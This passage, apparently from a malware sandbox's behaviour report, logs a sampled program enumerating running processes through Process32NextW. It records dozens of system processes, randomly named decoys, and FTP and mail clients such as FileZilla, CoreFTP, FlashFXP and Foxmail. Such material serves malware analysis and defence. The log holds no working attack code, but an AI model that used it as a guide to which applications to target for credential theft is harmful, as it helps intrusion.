lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0093.558] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0093.558] lstrlenW (lpString="System") returned 6 [0093.558] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0093.559] lstrlenW (lpString="smss.exe") returned 8 [0093.559] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0093.559] lstrlenW (lpString="csrss.exe") returned 9 [0093.559] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0093.560] lstrlenW (lpString="wininit.exe") returned 11 [0093.560] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0093.560] lstrlenW (lpString="csrss.exe") returned 9 [0093.560] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0093.561] lstrlenW (lpString="winlogon.exe") returned 12 [0093.561] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0093.562] lstrlenW (lpString="services.exe") returned 12 [0093.562] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0093.562] lstrlenW (lpString="lsass.exe") returned 9 [0093.562] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.563] lstrlenW (lpString="svchost.exe") returned 11 [0093.563] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0093.563] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0093.563] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0093.564] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0093.564] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.564] lstrlenW (lpString="svchost.exe") returned 11 [0093.564] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0093.565] lstrlenW (lpString="dwm.exe") returned 7 [0093.565] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.565] lstrlenW (lpString="svchost.exe") returned 11 [0093.565] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.566] lstrlenW (lpString="svchost.exe") returned 11 [0093.566] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.566] lstrlenW (lpString="svchost.exe") returned 11 [0093.567] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.567] lstrlenW (lpString="svchost.exe") returned 11 [0093.567] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.568] lstrlenW (lpString="svchost.exe") returned 11 [0093.568] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.568] lstrlenW (lpString="svchost.exe") returned 11 [0093.568] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.569] lstrlenW (lpString="svchost.exe") returned 11 [0093.569] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.569] lstrlenW (lpString="svchost.exe") returned 11 [0093.569] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.570] lstrlenW (lpString="svchost.exe") returned 11 [0093.570] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.570] lstrlenW (lpString="svchost.exe") returned 11 [0093.570] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0093.571] lstrlenW (lpString="spoolsv.exe") returned 11 [0093.571] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.571] lstrlenW (lpString="svchost.exe") returned 11 [0093.571] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0093.572] lstrlenW (lpString="audiodg.exe") returned 11 [0093.572] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0093.572] lstrlenW (lpString="sihost.exe") returned 10 [0093.572] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.573] lstrlenW (lpString="svchost.exe") returned 11 [0093.573] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0093.573] lstrlenW (lpString="taskhostw.exe") returned 13 [0093.574] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0093.574] lstrlenW (lpString="explorer.exe") returned 12 [0093.574] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0093.575] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0093.575] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0093.575] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0093.575] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0093.576] lstrlenW (lpString="Memory Compression") returned 18 [0093.576] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0093.576] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0093.576] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0093.577] lstrlenW (lpString="SearchUI.exe") returned 12 [0093.577] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0093.577] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0093.577] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0093.578] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0093.578] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0093.578] lstrlenW (lpString="furholdtopics.exe") returned 17 [0093.578] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0093.579] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0093.579] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0093.579] lstrlenW (lpString="until_commit.exe") returned 16 [0093.579] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0093.580] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0093.580] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0093.581] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0093.581] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0093.581] lstrlenW (lpString="lexmark.exe") returned 11 [0093.581] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0093.582] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0093.582] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0093.582] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0093.582] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0093.583] lstrlenW (lpString="delete disable changing.exe") returned 27 [0093.583] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0093.583] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0093.583] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0093.584] lstrlenW (lpString="underwear.exe") returned 13 [0093.584] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0093.584] lstrlenW (lpString="dear-hearings.exe") returned 17 [0093.584] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0093.585] lstrlenW (lpString="dllhost.exe") returned 11 [0093.585] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0093.876] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0093.887] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0093.887] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0093.887] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0093.888] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0093.888] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0093.888] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0093.888] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0093.889] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0093.889] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0093.889] lstrlenW (lpString="towers world.exe") returned 16 [0093.889] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0093.890] lstrlenW (lpString="coaching indian.exe") returned 19 [0093.890] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0093.891] lstrlenW (lpString="goal assumed.exe") returned 16 [0093.891] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0093.891] lstrlenW (lpString="3dftp.exe") returned 9 [0093.892] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0093.892] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0093.892] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0093.893] lstrlenW (lpString="alftp.exe") returned 9 [0093.893] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0093.894] lstrlenW (lpString="barca.exe") returned 9 [0093.894] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0093.895] lstrlenW (lpString="bitkinex.exe") returned 12 [0093.895] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0093.896] lstrlenW (lpString="coreftp.exe") returned 11 [0093.896] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0093.897] lstrlenW (lpString="far.exe") returned 7 [0093.897] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0093.898] lstrlenW (lpString="filezilla.exe") returned 13 [0093.898] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0093.899] lstrlenW (lpString="flashfxp.exe") returned 12 [0093.899] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0093.900] lstrlenW (lpString="fling.exe") returned 9 [0093.900] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0093.901] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0093.901] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 